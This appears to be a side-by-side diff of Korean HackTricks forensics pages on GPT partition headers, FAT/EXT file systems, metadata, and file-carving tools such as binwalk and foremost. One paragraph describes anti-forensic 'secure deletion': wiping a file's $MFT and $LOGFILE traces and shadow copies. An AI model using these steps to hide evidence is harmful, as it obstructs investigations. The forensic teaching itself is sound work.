* GPT는 보호 MBR을 통해 역호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 위치하지만 오래된 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다. * GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 존재하지만, 이전 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
**하이브리드 MBR (LBA 0 + GPT)** **하이브리드 MBR (LBA 0 + GPT)**
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에서는 첫 번째 섹터를 사용하여 **부트로더** 코드의 첫 번째 단계를 저장할 수 있지만, 이를 **수정**하여 **GPT 파티션**을 인식하도록 해야 합니다. MBR의 부트로더는 섹터 크기를 512바이트로 가정해서는 안 됩니다. **EFI**가 아닌 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 512바이트의 섹터 크기를 가정해서는 안 됩니다.
**파티션 테이블 헤더 (LBA 1)** **파티션 테이블 헤더 (LBA 1)**
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
파티션 테이블 헤더는 디스크 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (의 오프셋 80 및 84). 파티션 테이블 헤더는 디스크에서 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (테이블의 오프셋 80 및 84).
| 오프셋 | 길이 | 내용 | | 오프셋 | 길이 | 내용 |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 바이트 | 시그니처 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 리틀 엔디안 기계에서) | | 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)리틀 엔디안 머신에서) |
| 8 (0x08) | 4 바이트 | UEFI 2.8을 위한 리비전 1.0 (00h 00h 01h 00h) | | 8 (0x08) | 4 바이트 | UEFI 2.8에 대한 수정 1.0 (00h 00h 01h 00h) |
| 12 (0x0C) | 4 바이트 | 리틀 엔디안에서 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) | | 12 (0x0C) | 4 바이트 | 리틀 엔디안의 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
| 16 (0x10) | 4 바이트 | 헤더의 CRC32 (리틀 엔디안에서 오프셋 +0부터 헤더 크기까지) | | 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 중에 0으로 설정됨 |
| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 | | 20 (0x14) | 4 바이트 | 예약; 0이어야 함 |
| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) | | 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) |
| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) | | 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) |
| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) | | 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA - 1) | | 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA 1) |
| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID | | 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) | | 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) |
| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 | | 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) | | 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
| 88 (0x58) | 4 바이트 | 리틀 엔디안에서 파티션 항목 배열의 CRC32 | | 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
| 92 (0x5C) | \* | 나머지 블록에 대해 0이어야 하는 예약된 값 (512바이트 섹터 크기의 경우 420바이트; 그러나 더 큰 섹터 크기의 경우 더 많을 수 있음) | | 92 (0x5C) | \* | 예약; 나머지 블록에 대해 0이어야 함 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) |
**파티션 항목 (LBA 233)** **파티션 항목 (LBA 233)**
@ -129,11 +130,11 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| 오프셋 | 길이 | 내용 | | 오프셋 | 길이 | 내용 |
| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) | | 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) |
| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) | | 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) |
| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) | | 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) | | 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 단위) | | 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 유닛) |
**파티션 유형** **파티션 유형**
@ -143,11 +144,12 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### 검사 ### 검사
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)를 사용하여 포렌식 이미지를 마운트한 후 Windows 도구 [**Active Disk Editor**](https://www.disk-editor.org/index.html)를 사용하여 첫 번째 섹터를 검사할 수 있습니다. 다음 이미지에서 **MBR**이 **섹터 0**에서 감지되고 해석되었습니다: [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)로 포렌식 이미지를 마운트한 후, Windows 도구인 [**Active Disk Editor**](https://www.disk-editor.org/index.html)**를 사용하여 첫 번째 섹터를 검사할 수 있습니다.** 다음 이미지에서 **섹터 0**에서 **MBR**이 감지되고 해석되었습니다:
![](<../../../.gitbook/assets/image (354).png>) ![](<../../../.gitbook/assets/image (354).png>)
만약 **MBR 대신 GPT 테이블**이었다면 **섹터 1**에 _EFI PART_ 서명이 나타나야 합니다 (이전 이미지에서는 비어 있음). 만약 **MBR** 대신 **GPT 테이블**이었다면, **섹터 1**에 _EFI PART_ 서명이 나타나야 합니다 (이전 이미지에서는 비어 있습니다).
## 파일 시스템 ## 파일 시스템
### Windows 파일 시스템 목록 ### Windows 파일 시스템 목록
@ -160,49 +162,49 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### FAT ### FAT
**FAT (파일 할당 테이블)** 파일 시스템은 핵심 구성 요소인 파일 할당 테이블을 기준으로 설계되었으며, 이는 볼륨의 시작 부분에 위치합니다. 이 시스템은 데이터의 안전을 위해 테이블의 **두 개의 사본**을 유지하여 한쪽이 손상되더라도 데이터 무결성을 보장합니다. 테이블은 루트 폴더와 함께 **고정된 위치**에 있어야 하며, 시스템의 시작 프로세스에 중요합니다. **FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다.
파일 시스템의 기본 저장 단위는 **클러스터**이며, 일반적으로 512B로 구성되어 여러 섹터를 포함합니다. FAT는 다음과 같은 버전을 통해 발전해 왔습니다: 파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전해왔습니다:
* **FAT12**: 12비트 클러스터 주소를 지원하며 최대 4078개의 클러스터(UNIX 포함 시 4084개)를 처리합니다. * **FAT12**, 12비트 클러스터 주소를 지원하며 최대 4078 클러스터를 처리합니다 (UNIX와 함께 4084).
* **FAT16**: 16비트 주소로 향상되어 최대 65,517개의 클러스터를 수용합니다. * **FAT16**, 16비트 주소로 향상되어 최대 65,517 클러스터를 수용합니다.
* **FAT32**: 32비트 주소로 더 발전하여 볼륨 당 268,435,456개의 클러스터를 허용합니다. * **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 인상적인 268,435,456 클러스터를 허용합니다.
FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사용되는 32비트 필드로 인한 **최대 4GB 파일 크기**입니다. FAT 버전 전반에 걸쳐 중요한 제한 사항은 **4GB 최대 파일 크기**로, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다.
특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다: 특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다:
* **파일/폴더 이름** (최대 8자) * **파일/폴더 이름** (최대 8자)
* **속성** * **속성**
* **생성, 수정 및 최근 액세스 날짜** * **생성, 수정 및 마지막 접근 날짜**
* **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄) * **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄)
* **파일 크기** * **파일 크기**
### EXT ### EXT
**Ext2**는 부팅 파티션과 같이 **잘 변하지 않는 파티션**을 위한 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**이 되며 일반적으로 **나머지 파티션**에 사용됩니다. **Ext2**는 **저널링하지 않는** 파티션 (**변경이 많지 않은 파티션**)에 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**을 지원하며 일반적으로 **나머지 파티션**에 사용됩니다.
## **메타데이터** ## **메타데이터**
일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 다음과 같은 정보가 포함될 수 있습니다: 일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 분석가에게 흥미로울 수 있는 정보가 포함될 수 있습니다:
* 제목 * 제목
* 사용된 MS Office 버전 * 사용된 MS Office 버전
* 작성 *
* 생성 및 최종 수정 날짜 * 생성 및 마지막 수정 날짜
* 카메라 모델 * 카메라 모델
* GPS 좌표 * GPS 좌표
* 이미지 정보 * 이미지 정보
파일의 메타데이터를 얻기 위해 [**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용 수 있습니다. [**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용하여 파일의 메타데이터를 얻을 수 있습니다.
## **삭제된 파일 복구** ## **삭제된 파일 복구**
### 기록된 삭제된 파일 ### 기록된 삭제된 파일
이전에 볼 수 있듯이 파일이 "삭제"된 후에도 여전히 저장된 여러 위치가 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하면 삭제로 표시되지만 데이터는 손상되지 않기 때문입니다. 그런 다음 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾을 수 있습니다. 이전에 보았듯이, 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제로 표시할 뿐, 데이터는 손대지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다.
또한 OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로 파일이나 가능한 많은 정보를 복구하기 위해 이를 사용할 수 있습니다. 또한, OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구하려고 시도할 수 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -210,20 +212,20 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### **파일 카빙** ### **파일 카빙**
**파일 카빙**은 데이터 덩어리에서 파일을 찾으려는 기술입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터**를 기반으로, 파일 유형 **구조**를 기반으로, 그리고 **콘텐츠** 자체를 기반으로 합니다. **파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터 기반**, 파일 유형 **구조 기반**, 및 **내용** 자체 기반의 3가지입니다.
이 기술은 **단편화된 파일을 검색하는 데 사용할 수 없음**에 유의하십시오. 파일이 **연속적인 섹터에 저장되지 않은 경우**, 이 기술은 해당 파일 또는 적어도 일부를 찾을 수 없습니다. 이 기술은 **조각화된 파일을 검색하는 데는 작동하지 않습니다**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다.
파일 카빙에 사용할 수 있는 여러 도구가 있으며, 검색할 파일 유형을 지정할 수 있습니다. 파일 카빙을 위해 검색할 파일 유형을 지정할 수 있는 여러 도구가 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### 데이터 스트림 **카빙** ### 데이터 스트림 **C**arving
데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신 흥미로운 조각 정보를 찾습니다**.\ 데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신, 흥미로운 정보 조각을 찾습니다**.\
예를 들어, 로그된 URL을 포함한 완전한 파일을 찾는 대신 이 기술은 URL을 검색합니다. 예를 들어, 기록된 URL을 포함하는 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -231,13 +233,28 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### 안전한 삭제 ### 안전한 삭제
물론 파일을 **"안전하게" 삭제하고 그에 대한 로그 일부를 삭제하는 방법**이 있습니다. 예를 들어 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, 그런 다음 파일에 대한 **$MFT** 및 **$LOGFILE**의 로그를 제거하고 **볼륨 그림자 사본**을 제거할 수 있습니다.\ 명백히, **파일 및 해당 로그의 일부를 "안전하게" 삭제하는 방법이 있습니다**. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 **덮어쓰고**, **$MFT** 및 **$LOGFILE**에서 파일에 대한 **로그를 제거**하고, **볼륨 섀도 복사본을 제거**할 수 있습니다.\
이 작업을 수행해도 파일의 존재가 여전히 로깅된 다른 부분이 있을 수 있음에 유의해야 하며, 이는 포렌식 전문가의 업무의 일부입니다. 이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있습니다**. 이는 사실이며, 포렌식 전문가의 작업 중 일부는 이를 찾는 것입니다.
## 참고 자료 ## 참고 문헌
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs 인증 디지털 포렌식 Windows**
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 파일/데이터 조각 모음 및 복구 도구 # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,17 +23,17 @@ HackTricks를 지원하는 다른 방법:
*** ***
## 조각 모음 및 복구 도구 ## Carving & Recovery tools
더 많은 도구: [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 처리하여 "숨겨진" 파일을 찾으십시오. Autopsy는 디스크 이미지 및 기타 유형의 이미지를 지원하도록 구축되었지만 간단한 파일은 지원하지 않습니다. 포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**은 이진 파일을 분석하여 포함된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다. **Binwalk**는 이진 파일을 분석하여 내장된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다.
**유용한 명령어**: **유용한 명령어**:
```bash ```bash
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
또 다른 숨겨진 파일을 찾는 데 일반적으로 사용되는 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 해당 파일을 주석 처리하십시오. 아무것도 주석 처리하지 않으면 Foremost는 기본 구성된 파일 유형을 검색합니다. 또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -51,7 +52,7 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel**은 다른 도구로, 파일에 포함된 파일을 찾아 추출하는 데 사용할 수 있습니다. 이 경우, 추출하려는 파일 유형을 설정 파일(_/etc/scalpel/scalpel.conf_)에서 주석 처리 해제해야 합니다. **Scalpel**은 **파일에 포함된 파일**을 찾고 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석을 제거해야 합니다.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
@ -60,44 +61,67 @@ scalpel file.img -o output
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) 이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
이 도구는 이미지를 스캔하고 **pcaps를 추출**하며, **네트워크 정보(URL, 도메인, IP, MAC, 이메일)** 및 **더 많은 파일**을 추출할 수 있습니다. 수행해야 할 작업은 다음과 같습니다: 이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 기타 **파일**을 추출합니다. 당신이 해야 할 일은:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
모든 정보를 탐색하세요 (비밀번호?), 패킷을 분석하세요 (읽기: [**Pcaps 분석**](../pcap-inspection/)), 이상한 도메인을 검색하세요 (악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
### PhotoRec ### PhotoRec
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다. [여기](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec가 검색할 **파일 유형**을 선택할 수 있습니다. GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
![](<../../../.gitbook/assets/image (242).png>) ![](<../../../.gitbook/assets/image (242).png>)
### binvis ### binvis
[코드](https://code.google.com/archive/p/binvis/) [웹 페이지 도구](https://binvis.io/#/)를 확인하세요. [코드](https://code.google.com/archive/p/binvis/) [웹 페이지 도구](https://binvis.io/#/)를 확인하세요.
#### BinVis의 기능 #### BinVis의 기능
* 시각적이고 활성 **구조 뷰어** * 시각적이고 능동적인 **구조 뷰어**
* 다양한 초점 지점에 대한 여러 플롯 * 다양한 초점에 대한 여러 플롯
* 샘플 일부에 초점을 맞춤 * 샘플의 일부에 집중
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스** 확인 * PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
* 파일의 암호 해독 분석을 위한 **패턴** 획득 * 파일에 대한 암호 분석을 위한 **패턴** 얻기
* 패커 또는 인코더 알고리즘 **발견** * 패커 또는 인코더 알고리즘 **찾기**
* 패턴에 의한 스테가노그래피 **식별** * 패턴으로 스테가노그래피 **식별**
* **시각적** 이진 차이 * **시각적** 바이너리 차이 비교
BinVis는 블랙박싱 시나리오에서 **알 수 없는 대상에 익숙해지는 좋은 시작점**입니다. BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해지기 위한 훌륭한 시작점**입니다.
## 특정 데이터 조각내기 도구 ## 특정 데이터 카빙 도구
### FindAES ### FindAES
TrueCrypt 및 BitLocker에서 사용되는 것과 같이 128, 192 및 256 비트 키를 찾을 수 있는 AES 키를 찾습니다. 키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다.
[여기](https://sourceforge.net/projects/findaes/)에서 다운로드하세요. [여기](https://sourceforge.net/projects/findaes/)에서 다운로드하세요.
## 보조 도구 ## 보조 도구
터미널에서 이미지를 보려면 [**viu** ](https://github.com/atanunq/viu)를 사용할 수 있습니다.\ [**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
pdf를 텍스트로 변환하고 읽기 위해 리눅스 명령 줄 도구 **pdftotext**를 사용할 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
